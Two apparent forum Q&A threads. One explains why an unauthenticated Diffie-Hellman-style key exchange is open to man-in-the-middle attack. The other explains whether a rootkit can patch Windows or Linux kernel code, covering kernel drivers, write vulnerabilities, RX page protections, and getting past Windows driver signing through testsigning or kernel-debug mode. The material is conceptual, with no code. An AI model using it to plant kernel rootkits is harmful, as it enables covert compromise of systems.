rA and rB are random values each session and my shared key is = g^rAxB + g^rBxA mod P. This can be attack because the protocol does not authenticate participants .

am i right for that understanding ? and an adversary can just participate in that key exchange ?

If there is no authentication of at least party then then no connection can be trusted, and MitM is possible. MitM does of course require an active attack; just eavesdropping is not enough, and unauthenticated DH does protect against eavesdropping attacks.

Note that the authentication may require a relatively low amount of data (e.g. there are protocols that simply use vicinity) but some kind of authentication does need to take place.


Can a rootkit write to a virtual memory of a kernel process and rewrite a instruction to jump into his own malicious code inside that process? So lets say we have a rootkit on our system

can this rootkit write something inside a kernel process?

for example in windows, can a rootkit write to ntoskrnl process, changing some functions and creating a new one, therefor for example when an interupt occurs and operating system reads the corresponding function from IDT and tries to execute it in ntoskrnl process, the rookit replaces the first instruction of that function to jump to another location which the rootkit has written and therefore executing a malicious code instead?

is this possible?

I'm asking about windows and linux, if it is different for each of them please tell

On both Windows and Linux (and any other modern OS), the answer is yes if the rootkit is running in kernel mode (as a kernel-mode driver / kernel module). If the rootkit is merely running as Administrator/SYSTEM/root, but hasn't loaded anything into the kernel, it cannot directly write to kernel memory any more than any other user-mode application (which is to say, not at all). It will need to either load a kernel driver (which is trivial on Linux but slightly harder on Windows, mostly because modern Windows running in its default configurations insists that kernnel-mode drivers be signed with a trusted certificate).

The other option would be using a security vulnerability that allows writing to kernel memory. For a bug that requires already running as the super user (admin or root or whatever) to exploit it, the developer might not have prioritized the fix because at that point you basically have full control anyhow (and can load code into the kernel if you want to). However, a bug that merely allows writing to arbitrary locations in memory might not be sufficient, because you want to re-write instruction memory and - as in user-space - executable memory pages are mapped RX (Read-Execute, but not Write) by default. You'd need to re-map the page to allow writing, which is harder to find a vulnerability for.

If you don't mind forcing (or waiting for) a reboot, there are some more options. On Windows, you can disable the code signing requirement (though it puts visible text on the desktop and disables some DRM-related media functionality when you do so) via "testsigning" mode, or even configure the computer for kernel debugging (which also has the same effect as testsigning mode). Using a kernel debugger, you can directly tamper with the memory of any process, user or kernel mode. However, running a kernel debugger from the machine that is being debugged would be tricky, as if you ever hit a breakpoint you would not be able to continue because the (malicious, in this case) debugger would be halted along with all other code on the system.